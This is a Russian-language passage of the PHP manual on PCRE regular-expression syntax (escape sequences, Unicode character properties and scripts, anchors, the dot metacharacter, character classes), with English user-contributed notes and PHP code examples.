Последовательности \Q и \E игнорируют метасимволы регулярного выражения в шаблоне. Например: шаблон \w+\Q.$.\E$ совпадёт с «заякоренными» в конце строки одним или более символами слова, за которыми следуют литералы .$.. Обратите внимание, что это не меняет поведение разделителей; например, шаблон #\Q#\E#$ неправильный, потому что второй символ # отмечает конец шаблона, а последовательность \E# парсер интерпретирует как недопустимые модификаторы.

Последовательность \K сбрасывает начало совпадения. Например, шаблон foo\Kbar совпадёт со значением «foobar», но сообщит, что совпал только с «bar». Последовательность \K не мешает установке подшаблонов. Например, если шаблон (foo)\Kbar совпадёт со строкой «foobar», первым подшаблоном всё равно будет значение «foo».

User Contributed Notes

tharabar at gmail dot com 19-Sep-2019 04:08
Required to use \007 instead of \a
Anonymous 25-Jul-2019 03:03
A non breaking space is not considered as a space and cannot be caught by \s.

it can be found with :

- [\xc2\xa0] in utf-8
- \x{00a0} in unicode
Wirek 22-Feb-2018 01:38
Significantly updated version (with new $pat4 utilising \R properly, its results and comments):
Note that there are (sometimes difficult to grasp at first glance) nuances of meaning and application of escape sequences like \r, \R and \v - none of them is perfect in all situations, but they are quite useful nevertheless. Some official PCRE control options and their changes come in handy too - unfortunately neither (*ANYCRLF), (*ANY) nor (*CRLF) is documented here on php.net at the moment (although they seem to be available for over 10 years and 5 months now), but they are described on Wikipedia ("Newline/linebreak options" at https://en.wikipedia.org/wiki/Perl_Compatible_Regular_Expressions) and official PCRE library site ("Newline convention" at http://www.pcre.org/original/doc/html/pcresyntax.html#SEC17) pretty well. The functionality of \R appears somehow disappointing (with default configuration of compile time option) according to php.net as well as official description ("Newline sequences" at https://www.pcre.org/original/doc/html/pcrepattern.html#newlineseq) when used improperly.
A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end ($) of any line in multiple lines mode (/m).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?).
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat1='/\w$/mi';    // This works excellent in JavaScript (Firefox 7.0.1+)
$pat2='/\w\r?$/mi';    // Slightly better
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org when used improperly
$pat4='/\w(?=\R)/i';    // Much better with allowed lookahead assertion (just to detect without capture) without multiline (/m) mode; note that with alternative for end of string ((?=\R|$)) it would grab all 7 elements as expected
$pat5='/\w\v?$/mi';
$pat6='/(*ANYCRLF)\w$/mi';    // Excellent but undocumented on php.net at the moment (described on pcre.org and en.wikipedia.org)
$n=preg_match_all($pat1, $str, $m1);
$o=preg_match_all($pat2, $str, $m2);
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat4, $str, $m4);
$s=preg_match_all($pat5, $str, $m5);
$t=preg_match_all($pat6, $str, $m6);
echo $str."\n1 !!! $pat1 ($n): ".print_r($m1[0], true)
    ."\n2 !!! $pat2 ($o): ".print_r($m2[0], true)
    ."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n4 !!! $pat4 ($r): ".print_r($m4[0], true)
    ."\n5 !!! $pat5 ($s): ".print_r($m5[0], true)
    ."\n6 !!! $pat6 ($t): ".print_r($m6[0], true);
// Note the difference among the three very helpful escape sequences in $pat2 (\r), $pat3 and $pat4 (\R), $pat5 (\v) and altered newline option in $pat6 ((*ANYCRLF)) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
1 !!! /\w$/mi (3): Array
(
    [0] => C
    [1] => 0
    [2] => _
)

2 !!! /\w\r?$/mi (5): Array
(
    [0] => C
    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

4 !!! /\w(?=\R)/i (6): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
)

5 !!! /\w\v?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

6 !!! /(*ANYCRLF)\w$/mi (7): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
    [6] => _
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
Wirek 20-Feb-2018 12:21
Note that there are (sometimes difficult to grasp at first glance) nuances of meaning and application of escape sequences like \r, \R and \v - none of them is perfect in all situations, but they are quite useful nevertheless. Some official PCRE control options and their changes come in handy too - unfortunately neither (*ANYCRLF), (*ANY) nor (*CRLF) is documented here on php.net at the moment (although they seem to be available for over 10 years and 5 months now), but they are described on Wikipedia ("Newline/linebreak options" at https://en.wikipedia.org/wiki/Perl_Compatible_Regular_Expressions) and official PCRE library site ("Newline convention" at http://www.pcre.org/original/doc/html/pcresyntax.html#SEC17) pretty well. The functionality of \R appears somehow disappointing (with default configuration of compile time option) according to php.net as well as official description ("Newline sequences" at https://www.pcre.org/original/doc/html/pcrepattern.html#newlineseq).

A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end ($) of any line in multiple lines mode (/m).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?).
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat1='/\w$/mi';    // This works excellent in JavaScript (Firefox 7.0.1+)
$pat2='/\w\r?$/mi';
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org
$pat4='/\w\v?$/mi';
$pat5='/(*ANYCRLF)\w$/mi';    // Excellent but undocumented on php.net at the moment
$n=preg_match_all($pat1, $str, $m1);
$o=preg_match_all($pat2, $str, $m2);
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat4, $str, $m4);
$s=preg_match_all($pat5, $str, $m5);
echo $str."\n1 !!! $pat1 ($n): ".print_r($m1[0], true)
    ."\n2 !!! $pat2 ($o): ".print_r($m2[0], true)
    ."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n4 !!! $pat4 ($r): ".print_r($m4[0], true)
    ."\n5 !!! $pat5 ($s): ".print_r($m5[0], true);
// Note the difference among the three very helpful escape sequences in $pat2 (\r), $pat3 (\R), $pat4 (\v) and altered newline option in $pat5 ((*ANYCRLF)) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
1 !!! /\w$/mi (3): Array
(
    [0] => C
    [1] => 0
    [2] => _
)

2 !!! /\w\r?$/mi (5): Array
(
    [0] => C
    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

4 !!! /\w\v?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

5 !!! /(*ANYCRLF)\w$/mi (7): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
    [6] => _
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
mike at eastghost dot com 28-Mar-2012 07:25
"line break" is ill-defined:

 -- Windows uses CR+LF (\r\n)
 -- Linux LF (\n)
 -- OSX CR (\r)

Little-known special character:
\R in preg_* matches all three.

preg_match( '/^\R$/', "match\nany\\n\rline\r\nending\r" ); // match any line endings
grigor at the domain gatchev.info 22-Jun-2011 01:59
As \v matches both single char line ends (CR, LF) and double char (CR+LF, LF+CR), it is not a fixed length atom (eg. is not allowed in lookbehind assertions).


Свойства Unicode-символов

С версии стандарта Unicode 5.1.0 при выборе режима UTF-8 доступны три дополнительные управляющие последовательности для соответствия общим типам символов. Вот они:

\p{xx}
символ со свойством xx
\P{xx}
символ без свойства xx
\X
расширенная последовательность Unicode

Имена свойств, которые выше представили символами xx, ограничены общими категориями свойств Unicode. У каждого символа есть ровно одно такое свойство, которое обозначено двухбуквенной аббревиатурой. Для совместимости с Perl отрицание можно указать, включив символ циркумфлекса «^» между открывающей скобкой и именем свойства. Например, \p{^Lu} — это то же самое, что и \P{Lu}.

Если с управляющей последовательностью \p или \P указали только одну букву, она включает все свойства, которые начинаются с этой буквы. В этом случае при отсутствии отрицания фигурные скобки необязательны; следующие два примера эквивалентны:

\p{L}
\pL

Поддерживаемые коды свойств
Свойство | Совпадение | Замечание
C | Другое |
Cc | Control |
Cf | Формат |
Cn | Не присвоено |
Co | Частное использование |
Cs | Суррогат |
L | Буква | Включает следующие свойства: Ll, Lm, Lo, Lt и Lu.
Ll | Строчная буква |
Lm | Модификатор буквы |
Lo | Другая буква |
Lt | Заглавная буква |
Lu | Прописная буква |
M | Знак |
Mc | Пробельный знак |
Me | Окружающий знак |
Mn | Не пробельный знак |
N | Число |
Nd | Десятичное число |
Nl | Буквенное число |
No | Другое число |
P | Пунктуация |
Pc | Соединяющая пунктуация |
Pd | Знаки тире |
Pe | Закрывающая пунктуация |
Pf | Заключительная пунктуация |
Pi | Начальная пунктуация |
Po | Другая пунктуация |
Ps | Открывающая пунктуация |
S | Символ |
Sc | Денежный знак |
Sk | Модификатор символа |
Sm | Математический символ |
So | Другой символ |
Z | Разделитель |
Zl | Разделитель строки |
Zp | Разделитель абзаца |
Zs | Пробельный разделитель |

Модуль PCRE не поддерживает расширенные свойства наподобие музыкальных символов (InMusicalSymbols).

Указание регистронезависимого (безрегистрового) режима не влияет на эти управляющие последовательности. Например, запись \p{Lu} всегда совпадает только с прописными буквами.

Наборы Unicode-символов описываются как те, что принадлежат конкретным сценариям. Любой символ из этих наборов сопоставим с помощью имени сценария. Например:

  • \p{Greek}
  • \P{Han}

Символы, которые не принадлежат конкретному сценарию, объединяются в сценарий Common. Текущий список сценариев:

Поддерживаемые сценарии
Arabic | Armenian | Avestan | Balinese | Bamum
Batak | Bengali | Bopomofo | Brahmi | Braille
Buginese | Buhid | Canadian_Aboriginal | Carian | Chakma
Cham | Cherokee | Common | Coptic | Cuneiform
Cypriot | Cyrillic | Deseret | Devanagari | Egyptian_Hieroglyphs
Ethiopic | Georgian | Glagolitic | Gothic | Greek
Gujarati | Gurmukhi | Han | Hangul | Hanunoo
Hebrew | Hiragana | Imperial_Aramaic | Inherited | Inscriptional_Pahlavi
Inscriptional_Parthian | Javanese | Kaithi | Kannada | Katakana
Kayah_Li | Kharoshthi | Khmer | Lao | Latin
Lepcha | Limbu | Linear_B | Lisu | Lycian
Lydian | Malayalam | Mandaic | Meetei_Mayek | Meroitic_Cursive
Meroitic_Hieroglyphs | Miao | Mongolian | Myanmar | New_Tai_Lue
Nko | Ogham | Old_Italic | Old_Persian | Old_South_Arabian
Old_Turkic | Ol_Chiki | Oriya | Osmanya | Phags_Pa
Phoenician | Rejang | Runic | Samaritan | Saurashtra
Sharada | Shavian | Sinhala | Sora_Sompeng | Sundanese
Syloti_Nagri | Syriac | Tagalog | Tagbanwa | Tai_Le
Tai_Tham | Tai_Viet | Takri | Tamil | Telugu
Thaana | Thai | Tibetan | Tifinagh | Ugaritic
Vai | Yi |  |  |

Последовательность \X соответствует кластеру расширенных Unicode-графем. Расширенный графемный кластер — один или несколько Unicode-символов, которые объединяются в один символьный знак (глиф). По сути, его можно рассматривать как Unicode-эквивалент для ., поскольку он находит один независимый комплексный символ, независимо от того, сколько отдельных символов нужно для его отрисовки.

Для версий PCRE до 8.32 (что соответствует версиям PHP до 5.4.14 при работе со встроенным модулем PCRE), последовательность \X равносильна записи (?>\PM\pM*). Таким образом, он ищет символы без свойства «mark», и рассматривает последовательность как атомарную группу (см ниже). Символы со свойством «mark» обычно являются отличительными признаками, которые влияют на предыдущий символ.

Совпадение символов по Unicode-свойству — не быстрая операция, поскольку модулю PCRE приходится выполнить поиск в структуре данных, которая содержит более пятнадцати тысяч символов. Поэтому традиционные управляющие последовательности в модуле PCRE, например \d и \w, не используют Unicode-свойства.

User Contributed Notes

Steve 03-Aug-2023 05:00
Examples are always useful! See https://unicodeplus.com/category for more.

C    Other
Cc   Control      (Unicode code points in the ranges U+0000-U+001F and U+007F-U+009F)
Cf   Format       (Soft hyphen (U+00AD), zero width space (U+200B), etc.)
Cn   Unassigned   (Any code point that is not in the Unicode table)
Co   Private use
Cs   Surrogate    (Characters in the range U+D800 to U+DFFF, which are invalid in utf-8)

L    Letter
Ll   Lower case letter (a-z, µ?aaaaaa?ceeeeiiii?noooooouuuuy?y and more)
Lm   Modifier letter   (Letter-like characters that are usually combined with others, but here they stand alone:
                        ???????????????????????????????????????? and more)
Lo   Other letter      (???????? and many more ideographs and letters from unicase alphabets)
Lt   Title case letter (???????????????????????????????)
Lu   Upper case letter (A-Z, AAAAAA?CEEEEIIII?NOOOOOOUUUUY? and more)
L&   Ordinary letter   (Any character that has the Lu, Ll, or Lt property)

M    Mark
Mc   Spacing mark      (None in latin scripts)
Me   Enclosing mark    (Combining enclosing square (U+20DE) like in a? , combining enclosing circle backslash (U+20E0) like in a?)
Mn   Non-spacing mark  (Combining diacritical marks U+0300-U+036f, like the accents on this letter a: a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?)

N    Number
Nd   Decimal number (0123456789, ?????????? and digits in many other scripts.)
Nl   Letter number  (???????????????????????????????? and some more)
No   Other number   (?????????? ?????????? ?????????????????? ????????????????????, etc.)

P    Punctuation
Pc   Connector punctuation (_ underscore (U+005F), ? undertie U+203F, ? character tie (U+2040), etc.)
Pd   Dash punctuation      (- hyphen-minus (U+002D), ? hyphen (U+2010), - non-breaking hyphen (U+2011), ? figure dash (U+2012),
                            - en dash (U+2013), — em dash (U+2014), ? horizontal bar (U+2015), etc.)
Pe   Close punctuation     (right parenthesis, bracket, or brace: `)` (U+0029), `]` (U+005D), `}` (U+007D), etc.)
Pf   Final punctuation     (right quotation marks: » (U+00BB), ' (U+2019), " (U+201D), etc.)
Pi   Initial punctuation   (left  quotation marks: « (U+00AB), ' (U+2018), " (U+201C), etc.)
Po   Other punctuation     (!"#%&'*,./:;?@\?§¶·?)
Ps   Open punctuation      (left parenthesis, bracket, or brace: `(` (U+0028), `[` (U+005B), `{` (U+007B), etc.)

S    Symbol
Sc   Currency symbol     ($??¤?, ? ? ? ? ? ? ? ? ? ? ? ? € ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? (U+20A0-U+20BF), etc.)
Sk   Modifier symbol     (Symbol-like characters that are usually combined with others, but here they stand alone:
                          ^`???? and more)
Sm   Mathematical symbol (+<=>|~¬±??? and many more)
So   Other symbol        (¦ broken bar (U+00A6), © copyright sign (U+00A9), ® registered sign (U+00AE), ° degree sign (U+00B0);
                          arrows, signs, emojis and many many more)

Z    Separator
Zl   Line separator      (line separator (U+2028))
Zp   Paragraph separator (paragraph separator (U+2029))
Zs   Space separator     (space, no-break space, en quad, em quad, en space, em space, figure space, thin space, hair space, etc.)
phpnet at N_O_S_P_A_M dot osps dot net 16-Aug-2022 11:22
I found the predefined "supported" scripts helpful, except that there's no apparent definition of what Unicode character ranges are covered by those definitions. So I wrote this to determine them and print out the equivalent PCRE character class definitions. An example fragment of output is (I can't include all output due to PHP.net Note-posting limits)

Canadian_Aboriginal=[\x{1400}-\x{167f}\x{18b0}-\x{18f5}]

The program:

<?php

$scriptNames = array(
    'Arabic',
    'Armenian',
    'Avestan',
    'Balinese',
    'Bamum',
    'Batak',
    'Bengali',
    'Bopomofo',
    'Brahmi',
    'Braille',
    'Buginese',
    'Buhid',
    'Canadian_Aboriginal',
    'Carian',
    'Chakma',
    'Cham',
    'Cherokee',
    'Common',
    'Coptic',
    'Cuneiform',
    'Cypriot',
    'Cyrillic',
    'Deseret',
    'Devanagari',
    'Egyptian_Hieroglyphs',
    'Ethiopic',
    'Georgian',
    'Glagolitic',
    'Gothic',
    'Greek',
    'Gujarati',
    'Gurmukhi',
    'Han',
    'Hangul',
    'Hanunoo',
    'Hebrew',
    'Hiragana',
    'Imperial_Aramaic',
    'Inherited',
    'Inscriptional_Pahlavi',
    'Inscriptional_Parthian',
    'Javanese',
    'Kaithi',
    'Kannada',
    'Katakana',
    'Kayah_Li',
    'Kharoshthi',
    'Khmer',
    'Lao',
    'Latin',
    'Lepcha',
    'Limbu',
    'Linear_B',
    'Lisu',
    'Lycian',
    'Lydian',
    'Malayalam',
    'Mandaic',
    'Meetei_Mayek',
    'Meroitic_Cursive',
    'Meroitic_Hieroglyphs',
    'Miao',
    'Mongolian',
    'Myanmar',
    'New_Tai_Lue',
    'Nko',
    'Ogham',
    'Old_Italic',
    'Old_Persian',
    'Old_South_Arabian',
    'Old_Turkic',
    'Ol_Chiki',
    'Oriya',
    'Osmanya',
    'Phags_Pa',
    'Phoenician',
    'Rejang',
    'Runic',
    'Samaritan',
    'Saurashtra',
    'Sharada',
    'Shavian',
    'Sinhala',
    'Sora_Sompeng',
    'Sundanese',
    'Syloti_Nagri',
    'Syriac',
    'Tagalog',
    'Tagbanwa',
    'Tai_Le',
    'Tai_Tham',
    'Tai_Viet',
    'Takri',
    'Tamil',
    'Telugu',
    'Thaana',
    'Thai',
    'Tibetan',
    'Tifinagh',
    'Ugaritic',
    'Vai',
    'Yi'
);
$scriptTypes = array();
foreach( $scriptNames as $n ) $scriptTypes[ $n ] = array();
for( $i=0; $i <= 0x10fff; $i++ ) {
//echo $i.PHP_EOL;
    foreach( $scriptNames as $scriptName ) {

        if ( preg_match( '/[\p{'. $scriptName .'}]/u', mb_chr( $i, 'UTF-8') ) ) {

            if (empty( $scriptTypes[ $scriptName ])
                || ( ($i - $scriptTypes[ $scriptName ][ count( $scriptTypes[ $scriptName ] ) - 1 ][1]) > 1)
            ) {

                $scriptTypes[ $scriptName ][] = [$i, $i];

            } else {

                $scriptTypes[ $scriptName ][ count( $scriptTypes[ $scriptName ] ) - 1 ][1] = $i;
            }
        }
    }
}
foreach( $scriptTypes as $scriptName => $unicodeRanges ) {

    printf(
        '%s=[',
        $scriptName
    );
    foreach( $unicodeRanges as $r ) {

        printf(
            '\x{%04x}',
            $r[0]
        );
        if ($r[1] > $r[0] )
            printf(
                '-\x{%04x}',
                $r[1]
            );
    }
    printf(
        ']'.PHP_EOL
    );
}
php at lnx-bsp dot net 25-Sep-2017 05:53
Not made clear in the top of page explanation, but these escaped character classes can be included within square brackets to make a broader character class. For example:

<?php preg_match( '/[\p{N}\p{L}]+/', $data ) ?>

Will match any combination of letters and numbers.
huhwatnouDONTspamPLEASE at hotmail dot com 20-Jan-2016 09:00
To select UTF-8 mode for the additional escape sequences (\p{xx}, \P{xx}, and \X) , use the "u" modifier (see http://php.net/manual/en/reference.pcre.pattern.modifiers.php).

I wondered why a German sharp S (?) was marked as a control character by \p{Cc} and it took me a while to properly read the first sentence: "Since 5.1.0, three additional escape sequences to match generic character types are available when UTF-8 mode is selected. " :-$ and then to find out how to do so.
xuantoaiph at gmail dot com 24-Dec-2013 08:03
My country, Vietnam, have our own alphabet table:
http://en.wikipedia.org/wiki/Vietnamese_alphabet
I hope PHP will support better than in Vietnamese.
Yzmir Ramirez 11-Oct-2013 07:51
If you are working with older environments you will need to first check to see if the version of PCRE will work with unicode directives described above:

<?php

// Need to check PCRE version because some environments are
// running older versions of the PCRE library
// (run in *nix environment `pcretest -C`)

$allowInternational = false;
if (defined('PCRE_VERSION')) {
    if (intval(PCRE_VERSION) >= 7) { // constant available since PHP 5.2.4
        $allowInternational = true;
    }
}
?>

Now you can do a fallback regex (e.g. use "/[a-z]/i"), when the PCRE library version is too old or not available.
o_shes01 at uni-muenster dot de 22-Jan-2011 06:23
For those who wonder: 'letter_titlecase' applies to digraphs/trigraphs, where capitalization involves only the first letter.
For example, there are three codepoints for the "LJ" digraph in Unicode:
  (*) uppercase "LJ": U+01C7
  (*) titlecase "Lj": U+01C8
  (*) lowercase "lj": U+01C9
o_shes01 at uni-muenster dot de 21-Jan-2011 10:08
For those who wonder: 'letter_titlecase' applies to digraphs/trigraphs, where capitalization involves only the first letter.
For example, there are three codepoints for the "LJ" digraph in Unicode:
  (*) uppercase "LJ": U+01C7
  (*) titlecase "Lj": U+01C8
  (*) lowercase "lj": U+01C9
mercury at caucasus dot net 08-May-2010 10:32
An excellent article explaining all these properties can be found here: http://www.regular-expressions.info/unicode.html
suit at rebell dot at 01-Mar-2010 05:13
these properties are usualy only available if PCRE is compiled with "--enable-unicode-properties"

if you want to match any word but want to provide a fallback, you can do something like that:

<?php
if(@preg_match_all('/\p{L}+/u', $str, $arr) {
  // fallback goes here
  // for example just '/\w+/u' for a less acurate match
}
?>


Якоря

Метасимвол начала строки ^ вне символьного класса по умолчанию соответствует началу обрабатываемых данных, если не установили модификаторы. Внутри символьного класса метасимвол ^ несёт совершенно другое значение.

Циркумфлекс ^ не обязан быть первым символом шаблона, если в шаблоне задействовали несколько альтернатив, но должен быть первым символом в каждой альтернативе, в которой он появляется, если шаблон когда-либо будет соответствовать этой ветви. Если все альтернативы начинаются с циркумфлекса ^, то есть шаблон ограничен совпадением только с началом входной строки, говорят что шаблон «заякорен». Есть и другие способы «заякорить» шаблон.

Знак доллара $ — утверждение, которое истинно только тогда, когда текущая точка сопоставления находится в конце входной строки, или непосредственно перед последним символом, в случае если последний символ — перевод строки, если не указали модификаторы. Метасимвол конца строки $ не обязан быть последним символом шаблона, если в шаблоне задействовали несколько альтернатив, но должен быть последним символом в каждой альтернативе, в которой он фигурирует. Внутри символьного класса символ «$» не несёт специального значения.

Поведение метасимвола конца строки изменяют модификатором PCRE_DOLLAR_ENDONLY так, чтобы метасимвол соответствовал исключительно концу строки. Данный флаг никак не касается специальной последовательности \Z.

Значение метасимволов начала и конца строки меняется, если установили модификатор PCRE_MULTILINE. В этой ситуации, кроме совпадений в начале или в конце строки, метасимволы «^» и «$» соответствуют позиции непосредственно после символа перевода строки «\n». Например, шаблон /^abc$/ встречается в строке «def\nabc» в многострочном режиме и не встречается в нормальном режиме. Таким образом, шаблон который «заякорен» в однострочном режиме, все ветки которого начинаются с циркумфлекса «^», не будет признан «заякоренным» в многострочном режиме. Парсер игнорирует модификатор PCRE_DOLLAR_ENDONLY, если установили модификатор PCRE_MULTILINE.

Следует заметить, что служебные последовательности \A, \Z и \z указывают для сопоставления с началом или концом строки в обоих режимах. И если все ветви шаблона начинаются с \A, шаблон будет «заякорен» независимо от присутствия модификатора PCRE_MULTILINE.

User Contributed Notes

There are no user contributed notes for this page.


Метасимвол точка

Вне символьного класса точка соответствует любому (в том числе и непечатаемому, бинарному) символу, кроме символа перевода строки «\n» (в обычном режиме). Если задан модификатор PCRE_DOTALL, точка соответствует также символу перевода строки. Обработка метасимвола «точка» никак не связана с метасимволами начала и конца строки, единственное, что у них общего, — так это специальное отношение к символу перевода строки. Внутри символьного класса точка не имеет специального значения.

Для совпадения с одним байтом можно пользоваться последовательностью символов \C. Это может быть полезно в режиме UTF-8, так как с точкой в этом режиме будет совпадать целый символ, который может состоять из нескольких байтов.

User Contributed Notes

There are no user contributed notes for this page.


Символьные классы

Открывающая квадратная скобка объявляет начало символьного класса, который завершают квадратной скобкой. Символ «]» не имеет специального значения, и если закрывающая квадратная скобка необходима как член символьного класса, она должна быть первым символом непосредственно после открывающей квадратной скобки (если указан метасимвол «^», то непосредственно после него), либо экранироваться обратным слешем.

Символьный класс соответствует одиночному символу входной строки; символ должен входить в набор символов, который определили в классе, если только первый символ в классе не циркумфлекс «^», тогда символ входной строки не должен входить в класс. Если циркумфлекс «^» нужен как член класса, проверяют, чтобы он не шёл первым символом в описании класса, либо экранируют циркумфлекс обратным слешем.

Символьный класс [aeiou], например, соответствует любой гласной букве в нижнем регистре, тогда как класс [^aeiou] соответствует любому согласному символу нижнего регистра. Обратите внимание, что циркумфлекс — просто удобный способ определить символьный класс за счёт перечисления тех символов, которые не должны входить в класс. Символ начала строки — не утверждение: он по-прежнему использует символ из входной строки и завершается ошибкой, если текущий указатель находится в конце строки.

При регистронезависимом сопоставлении буквы символьного класса соответствует версии символа как в верхнем, так и в нижнем регистре. Поэтому символьный класс [aeiou] соответствует как букве «A», так и букве «a». Аналогично, класс [^aeiou] не соответствует ни «A», ни «a», тогда как в регистрозависимом режиме совпадение бы состоялось.

Внутри символьного класса у символа перевода строки «\n» нет специального значения, независимо от наличия модификаторов PCRE_DOTALL и PCRE_MULTILINE. Символьные классы, построенные на отрицании, например [^a], всегда соответствуют символу перевода строки.

Символ минус «-» (дефис) внутри класса используется для задания символьного диапазона. Например, [d-m] соответствует любому символу, находящемуся между «d» и «m», включая сами символы «d» и «m». Если «-» необходим, как член класса, он должен находиться в такой позиции, в которой он не может интерпретироваться как диапазон (как правило, это первый и последний символ описания класса), либо экранироваться при помощи обратного слеша.

Недопустимо записывать закрывающую квадратную скобку «]» как границу символьного диапазона. Например, парсер интерпретирует шаблон «[W-]46]» как символьный класс, который состоит из двух символов: «W» и «-», за которыми идёт строка «46]», поэтому шаблон будет соответствовать строкам «W46]» или «-46]». Чтобы всё же задать символ «]» в описании диапазона, его нужно заэкранировать обратным слешем, например, парсер интерпретирует шаблон [W-\]46] как символьный класс, который состоит из символьного диапазона вместе с двумя последующими символами «4» и «6». Такого же результата можно достичь через шестнадцатеричное или восьмеричное представление символа «]».

Диапазоны символьных классов определяют последовательностью ASCII-символов, которые указывают через символ «-». Диапазоны также разрешено определять числами, например [\000-\037]. Диапазон будет соответствовать буквам в нижнем и верхнем регистрах, если в диапазон включили буквы и установили регистронезависимое сопоставление. Например, диапазоны [W-c] и [][\^_`wxyzabc] эквивалентны, парсер сопоставляет символы без учёта регистра, а если установлена таблица символов для французской локали «fr», парсер будет сопоставлять символы из диапазона [\xc8-\xcb] ударному «E» в обоих регистрах.

Типам символов \d, \D, \s, \S, \w и \W также разрешено присутствовать в символьных классах и добавлять символы, которые им соответствуют, в класс. Например, класс [\dABCDEF] соответствует любой шестнадцатеричной цифре. Символ «^» указывают с типами символов в верхнем регистре, чтобы указать более узкий набор символов. Например, класс [^\W_] соответствует любой букве или цифре, но не символу подчёркивания.

Все небуквенно-цифровые символы, кроме \, -, ^ в начале и символа «]» в конце, не относятся к специальным символам в символьном классе, но экранирующий слеш перед ними не навредит. Символ конца шаблона — всегда специальный символ и должен быть заэкранирован внутри выражения.

Язык Perl поддерживает нотацию POSIX для символьных классов. Это включает имена в квадратных скобках: [: и :]. Модуль PCRE также поддерживает эту тип записи. Например, шаблон [01[:alpha:]%] совпадёт с «0», «1», любым алфавитным символом или символом «%». Модуль PCRE поддерживает следующие имена классов:

Символьные классы
alnum | буквы и цифры
alpha | буквы
ascii | символы с кодами 0-127
blank | только пробел или символ табуляции
cntrl | управляющие символы
digit | десятичные цифры (то же самое, что и \d)
graph | печатные символы, исключая пробел
lower | строчные буквы
print | печатные символы, включая пробел
punct | печатные символы, исключая буквы и цифры
space | пробельные символы(почти то же самое, что и \s)
upper | прописные буквы
word | символы «слова» (то же самое, что и \w)
xdigit | шестнадцатеричные цифры
Класс пробельных символов (space) — это горизонтальная табуляция (HT, 9), перевод строки (LF, 10), вертикальная табуляция (VT, 11), разрыв страницы (FF, 12), возврат каретки (CR, 13) и пробел (32). Учтите, что этот список включает вертикальную табуляцию (VT, код 11). Это отличает «space» от \s, который не включает этот символ (для совместимости с Perl).

Название word — это модуль Perl, а blank — модуль GNU, начиная с версии Perl 5.8. Другой модуль Perl — отрицание, которое указывается символом ^ после двоеточия. Например, [12[:^digit:]] совпадёт с «1», «2», или с любой не-цифрой.

В режиме UTF-8 символы со значениями, которые превышают 128, не совпадут ни с одним из символьных классов POSIX. Начиная с libpcre 8.10 некоторые символьные классы изменили, чтобы использовать свойства символов Unicode, в этом случае упомянутое ограничение не применяется. Подробнее об этом рассказывает » руководство PCRE(3).

Свойства символов Unicode могут возникнуть внутри символьного класса. Они не могут быть частью диапазона. Символ минус (дефис), после символьного класс Unicode будет совпадать буквально. Попытка закончить диапазон свойством символа Unicode вызовет предупреждение.

User Contributed Notes

Julian 08-Feb-2023 12:48
Examples with Character classes

<?php

$stringA = "1 In the beginning God created the heavens and the earth.";
$stringB = preg_replace('/[[:^alnum:]]/', '', $stringA); // string(46) "1InthebeginningGodcreatedtheheavensandtheearth"
$stringC = preg_replace('/[[:^alpha:]]/', '', $stringA); // string(45) "InthebeginningGodcreatedtheheavensandtheearth"
$stringD = preg_replace('/[[:^ascii:]]/', '', "Pokemon"); // string(6) "Pokmon"
$stringE = preg_replace('/[[:^blank:]]/', '*', $stringA); // string(57) "* ** *** ********* *** ******* *** ******* *** *** ******"
$stringF = preg_replace('/[[:blank:]]/', '-', $stringA); // string(57) "1-In-the-beginning-God-created-the-heavens-and-the-earth."

$stringG = sprintf("Vertical Tabulation: %s", chr(11)); // string(22) "Vertical Tabulation: "
$stringH = preg_replace('/[[:cntrl:]]/', '', $stringG); // string(21) "Vertical Tabulation: "
$stringLengthG = strlen($stringG); // int(22)
$stringLengthH = strlen($stringH); // int(21)

$stringI = preg_replace('/[[:digit:]]/', '', 'My age is 35'); //string(10) "My age is "
$stringJ = preg_replace('/[[:^digit:]]/', '', 'My age is 35'); // string(2) "35"

$stringK = preg_replace('/[[:^graph:]]/', '', $stringG); // string(19) "VerticalTabulation:"
